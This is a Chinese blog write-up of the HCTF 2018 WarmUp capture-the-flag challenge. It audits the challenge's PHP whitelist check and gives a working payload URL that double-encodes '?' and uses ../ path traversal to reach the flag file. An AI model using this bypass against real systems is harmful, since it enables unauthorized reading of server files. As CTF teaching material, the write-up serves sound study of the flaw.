• web:[HCTF 2018]WarmUp


    题目

    点进页面,页面只有一张滑稽脸,没有其他的提示信息

    查看网页源代码,发现source.php,尝试访问一下

    跳转至该页面,页面显示为一段php代码,需要进行代码审计

    1. <?php
    2. highlight_file(__FILE__);
    3. class emmm
    4. {
    5. public static function checkFile(&$page)
    6. {
    7. //白名单验证
    8. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    9. if (! isset($page) || !is_string($page)) {
    10. echo "you can't see it";
    11. return false;
    12. }//isset是判断page是否为空。由于传进来的page为一个字符串且不为空,所以返回false
    13. if (in_array($page, $whitelist)) {
    14. //对输入进行判断,是否为白名单类的内容
    15. return true;
    16. }/*in_array的意思是判断page里是否包含白名单里的内容 例如source.php hint.php。
    17. 就是page=source.php或者hint.php才行.所以最后返回了false*/
    18. $_page = mb_substr(
    19. $page,
    20. 0,
    21. mb_strpos($page . '?', '?')
    22. );
    23. /*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/
    24. if (in_array($_page, $whitelist)) {
    25. return true;
    26. }
    27. /*经过上面的截断代码,page=source.php 所以返回true ,文件可以得到包含,结束,下面的代码就不用在执行了*/
    28. $_page = urldecode($page);//进行url解码
    29. //输入的url会进行一次解码,通过这个函数进行再一次解码,所以对“?”要进行二次编码==》%253F(%25是%的url编码,进行过一次后为%3F,在进行一次解码后变为“?”)
    30. $_page = mb_substr(
    31. $_page,
    32. 0,
    33. mb_strpos($_page . '?', '?')
    34. );
    35. if (in_array($_page, $whitelist)) {
    36. return true;
    37. }
    38. echo "you can't see it";
    39. return false;
    40. }
    41. }
    42. if (! empty($_REQUEST['file']) //输入不能为空
    43. && is_string($_REQUEST['file'])//判断是否为string类型
    44. && emmm::checkFile($_REQUEST['file'])//调用emm类中的checkFile方法
    45. ) {
    46. include $_REQUEST['file'];
    47. exit;
    48. } else {
    49. echo "
      https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    50. }
    51. ?>

    先访问hint.php看看有没有别的提示信息

    根据提示信息,进行目录穿越可获得flag,这里flag写了四次,可能使用四个或五个../

    构造payload

    http://1f0787c3-39e3-43b6-9583-f8ecb87aae1c.node4.buuoj.cn:81/?file=hint.php%253F../../../../../ffffllllaaaagggg

    得到flag

    总结

    mb_substr()函数返回字符串的一部分,substr()函数,只针对英文字符,如果要分割的中文文字则需要使用mb_substr()。

    若start参数是负数且length小于或等于start,则length为0

    如果在测试时没有匹配到指定符号,将返回字符串长度

    代码审计参考链接:

    [HCTF 2018]WarmUp_ke1nys的博客-CSDN博客

    [HCTF 2018]WarmUp_浑水摸鱼的咸鱼的博客-CSDN博客

  • 相关阅读:
    阿里云认证 | 2023年ACP认证考试大揭秘
    3个密码学相关的问题
    ActiViz中的纹理映射
    从根上理解elasticsearch(lucene)查询原理(1)-lucece查询逻辑介绍
    外部工具/外网无法连接mysql本地数据库
    1.vue3脚手架在vscode下面建立
    Kotlin中的数组
    推进生态社会化分工 与伙伴共担未来 数商云受邀出席京东科技合作伙伴论坛
    3D感知技术(2)3D数据获取技术概述
    微服务框架 SpringCloud微服务架构 5 Nacos 5.1 认识和安装Nacos
  • 原文地址:https://blog.csdn.net/gsumall04/article/details/133142502